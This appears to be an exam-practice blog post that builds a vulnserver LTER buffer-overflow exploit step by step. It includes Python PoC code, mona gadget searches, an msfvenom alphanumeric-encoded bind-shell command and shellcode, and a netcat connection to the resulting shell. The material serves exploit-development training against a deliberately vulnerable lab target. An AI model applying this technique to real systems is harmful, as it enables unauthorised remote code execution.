Blog


OSCE Exam Practice - Part VIII (LTER via EIP Overwrite w/ Restricted Character Set)

May 24, 2020 | 9 minutes read

Tags: osce, vulnserver, windbg, boofuzz

Lab Environment

In case you’re missing anything listed above (excluding vulnserver), check out OSCE Exam Practice - Part I (Lab Setup).

DISCLAIMER: This series of posts is geared toward diving deeper on more modern tooling (boofuzz, windbg, mona, et al) as well as gaining proficiency/efficiency with exploit development. It’s not a guide for the how-to portion of writing a PoC (even though I step through things slowly, I don’t explain things to that level of detail). I assume if you’re here to look at OSCE practice examples, you probably don’t need the step-by-step instructions for every little thing. With all that said, I hope you find something useful!

Other posts in the series:


Introduction

Welcome to part eight! This post originally started as an SEH overwrite. I eventually noticed that LTER could be exploited by both an EIP overwrite as well as SEH. I decided to break up LTER into two posts covering both avenues of attack. Doing so allows me to step through some problems and write about them during the much simpler EIP overwrite, keeping the SEH overwrite post to a much more manageable length. Let’s get started!

Fuzzing

In case you’d like a more detailed explanation, Part II - Fuzzing

The steps for auto-fuzzing with boofuzz remain the same as previous posts. Below are the fuzz strings that caused crashes and the number of characters they sent.

109: "deadbeef" * 750
374: '"' * 4100
376: '"' * 4102
335: '"' * 32775
345: '"' * 100005
249: "<" * 20005
253: "<" * 100005
8: "\\*"

We’ll use test case #109 for our initial PoC.

Building the PoC

Initial Crash PoC

 1import struct
 2import socket
 3
 4VULNSRVR_CMD = b"LTER "  # change me
 5CRASH_LEN = 3005  # change me
 6
 7target = ("127.0.0.1", 9999)  # vulnserver
 8
 9payload = VULNSRVR_CMD
10payload += b"\xde\xad\xbe\xef" * (CRASH_LEN // 4)
11
12with socket.create_connection(target) as sock:
13    sock.recv(512)  # Welcome to Vulnerable Server! ... 
14
15    sent = sock.send(payload)
16    print(f"sent {sent} bytes")

After throwing the exploit, we’re presented with the information below.

lter-ecx-initial

It’s obvious that EAX points to our buffer, but those bytes are not the bytes we sent. There’s some form of byte mangling happening with our initial PoC. Similar to HTER, we’re going to go straight from initial PoC to bad character identification. More specifically, we’re going to figure out what the heck the program is doing with our payload before proceeding.

Finding Bad Characters

We’ll begin by tossing the normal bad character finding bytearray at vulnserver. First, we need to generate the .bin file so mona can use it for comparison.

!py mona ba -cpb 0x00
═════════════════════

Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py ba -cpb 0x00
Generating table, excluding 1 bad chars...
Dumping table to file
[+] Preparing output file 'bytearray.txt'
    - (Re)setting logfile c:\monalogs\vulnserver_1568\bytearray.txt
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"


Done, wrote 255 bytes to file c:\monalogs\vulnserver_1568\bytearray.txt
Binary output saved in c:\monalogs\vulnserver_1568\bytearray.bin

Next, we’ll update our id-bad-chars template and give it a whirl.

17-------------8<-------------
18payload = VULNSRVR_CMD
19payload += bad_chars
20payload += b"\xde\xad\xbe\xef" * ((CRASH_LEN // 4) - len(payload))
21-------------8<-------------

After throwing the bad character finder, we can look at EAX and immediately see something interesting. After a certain point, our bytearray repeats itself; interesting.

lter-ba-repeats

Let’s dig a little deeper with mona.

!py mona compare -f c:\monalogs\vulnserver_1568\bytearray.bin -a eax+5

lter-comp-results

The results above are incredibly informative. 0x01 through 0x7f make it through unharmed. Then, there’s effectively a modulo operation happening that keeps any bytes sent within that same range (with the exception of 0xff which gets transformed into 0x80).

Now we know we’re dealing with a restricted character set of 0x01 through 0x80. Let’s get back to our normal flow and identify the distance to our EIP overwrite.

Determine the Offset

To find the offset we’ll throw a normal mona-generated cyclic pattern using our find-offset template. However, when we do, it doesn’t cause a crash. We’ll take a page out of our initial crash’s book and add \xde\xad\xbe\xef to our payload.

9-------------8<-------------
10payload = VULNSRVR_CMD
11payload += b"\xde\xad\xbe\xef"
12payload += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7A..."
13-------------8<-------------

When we fire the offset finder this time, we’re rewarded with a crash!

lter-offset-crash

It appears as though we need to trigger the byte mangling aspect of the LTER command in order to receive a crash. This didn’t happen with the pattern by itself because all of the characters sent fall within the allowable range.

mona.py suggest

Let’s spin up mona and do some information gathering about how to proceed with our exploit.

!py mona suggest -t tcpclient:9999
══════════════════════════════════

Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py suggest -t tcpclient:9999
-------------8<-------------
[+] Examining registers
    EIP contains normal pattern : 0x386f4337 (offset 2003)
    ESP (0x01b7f9e0) points at offset 2007 in normal pattern (length 998)
    EBP contains normal pattern : 0x6f43366f (offset 1999)
-------------8<-------------
            'Targets'        =>
                [
                    [ '<fill in the OS/app version here>',
                        {
                            'Ret'         =>    0x625011af, # jmp esp - essfunc.dll
                            'Offset'    =>    2003
                        }
                    ],
                ],
-------------8<-------------

Nice! We now know the following:

  • Offset: 2003
  • jmp esp Gadget: 0x625011af
  • Space After Overwrite: 998 bytes

Confirming the Offset

Using the information gained from mona’s suggest command, we can update our find-offset template again to confirm the overwrite’s location.

 9-------------8<-------------
10payload = VULNSRVR_CMD
11payload += b"\xde\xad\xbe\xef"
12# payload += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9..."
13
14# Then use the structure below to confirm the offset
15payload += b"A" * OFFSET
16payload += b"B" * 4
17payload += b"C" * (CRASH_LEN - len(payload))
18-------------8<-------------

lter-eip-confirm

Nice! We’ve got our offsets in place.

JMP ESP

While it’s super cool that mona gave us a jmp esp gadget to use, it won’t actually work for us. The address given to us (0x625011af) contains a character that will get mangled by vulnserver. If we refer back to our comparison results, we can see that 0xaf will become 0x30. Our EIP overwrite would then be 0x62501130, which definitely does not point to a jmp esp.

Let’s run mona’s jmp command and find a gadget where all four bytes fall into our allowable range.

!py mona jmp -r esp -cp ascii
═════════════════════════════

-------------8<-------------
0x62501203 |   0x62501203 : jmp esp | ascii {PAGE_EXECUTE_READ} [essfunc.dll]
0x62501205 |   0x62501205 : jmp esp | ascii {PAGE_EXECUTE_READ} [essfunc.dll]

Either one of the addresses above meet our requirements. That’s because we used -cp ascii in our mona command. -cp is a global flag that allows us to specify filtering criteria to mona commands. We told mona we don’t want addresses that contain bytes that fall outside the ascii range.

Let’s plug one into our final-poc template and ensure it makes it through to the EIP offset.

49-------------8<-------------
50payload = VULNSRVR_CMD
51payload += b"\xde\xad\xbe\xef"
52payload += b"A" * OFFSET
53payload += struct.pack("<I", 0x62501203)
54-------------8<-------------

Once we’re in windbg, the address that overwrote EIP points to a valid jmp esp.

lter-jmp-esp

It looks like our jmp esp is good to go, let’s work on our bind shell next.

Payload Encoding

The last obstacle in our way is that of our bind shell. It’s an obstacle because even when we use the x86/alpha_mixed encoder to generate alphanumeric shellcode, there are non-alphanumeric bytes at the start of the payload!

This command

msfvenom -p windows/shell_bind_tcp -e x86/alpha_mixed LPORT=12345 EXITFUNC=thread -f python -v shellcode 

Generates these instructions (truncated for brevity)

lter-encoded-bind-shell

These first few non-alphanumeric instructions are needed in order to find the payload’s absolute location in memory, making it fully position-independent.

The fcmovne instruction is a floating point unit (FPU) conditional move. A side effect of using certain FPU instructions is that they populate an FPU environment. With the FPU environment present, the fnstenv instruction can write that environment to a given address.

The FPU environment is defined in sys/user.h as the user_fpregs_struct struct. In that definition we see that at offset 12, there is a long int that contains the value of EIP. That explains why we see fnstenv [esp - 0xc]; when we write the FPU environment starting at 12 bytes before ESP, it places the value of EIP on the top of the stack. With that done, it’s free to be popped off the stack into some other register for further manipulation (EBX in the example).

struct user_fpregs_struct
{
  long int cwd;  // control word
  long int swd;  // status word
  long int twd;  // tag word
  long int fip;  // FPU Instruction Pointer Offset  <-- What we care about
  -------------8<-------------
};

Now that we understand why those non-alphanumeric bytes are there, let’s get rid of them!

There is an option to our encoder called BUFFERREGISTER. We can specify a register that points directly at our payload, if we have such a register. In doing so, the instructions discussed above are skipped, as all relative addressing will be performed based on the value passed to BUFFERREGISTER.

Our shellcode will be located directly at ESP, so we can simply use the following command to generate our bind shell.

msfvenom -p windows/shell_bind_tcp -e x86/alpha_mixed BUFFERREGISTER=esp LPORT=12345 EXITFUNC=thread -f python -v shellcode 
═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload                                                  
[-] No arch selected, selecting arch: x86 from the payload                                                                              
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 710 (iteration=0)
x86/alpha_mixed chosen with final size 710
Payload size: 710 bytes
Final size of python file: 3962 bytes
shellcode =  b""
shellcode += b"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49"
shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a"
shellcode += b"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51"
-------------8<-------------

Side note: there’s also a BUFFEROFFSET variable that I haven’t seen much discussion on. Reading through metasploit-framework/modules/encoders/x86/alpha_mixed.rb, it looks like one could use this variable and the BUFFERREGISTER variable together to do something like ESP + 24, or whatever makes sense in the given situation.

If we look closely at the first few opcodes, we can see that they’re all within our allowed ascii range; the non-alphanumeric bytes are gone!

Let’s update our final-poc template.

 3-------------8<-------------
 4VULNSRVR_CMD = b"LTER "  # change me
 5CRASH_LEN = 3005  # change me
 6OFFSET = 2003  # change me
 7SLED_LENGTH = 20
 8
 9target = ("127.0.0.1", 9999)  # vulnserver
10
11# msfvenom -p windows/shell_bind_tcp -e x86/alpha_mixed BUFFERREGISTER=esp LPORT=12345 EXITFUNC=thread -f python -v shellcode
12# Payload size: 710 bytes
13shellcode =  b""
14shellcode += b"\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49"
15shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a"
16-------------8<-------------
17payload = VULNSRVR_CMD
18payload += b"\xde\xad\xbe\xef"
19payload += b"A" * OFFSET
20payload += struct.pack("<I", 0x62501203)
21payload += shellcode
22payload += b"C" * (CRASH_LEN - len(payload))
23-------------8<-------------

Getting a Shell

If all goes well when we throw the code above, we should see a listener on port 12345 open up.

nc -vn 127.0.0.1 12345
══════════════════════

(UNKNOWN) [127.0.0.1] 12345 (?) open
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
C:\Users\vagrant\Downloads\vulnserver-master> 

Outro

The EIP overwrite version of LTER is relatively simple. In the next post we’ll look at the more complex version of the LTER exploit that targets an SEH overwrite instead of EIP.


comments powered by Disqus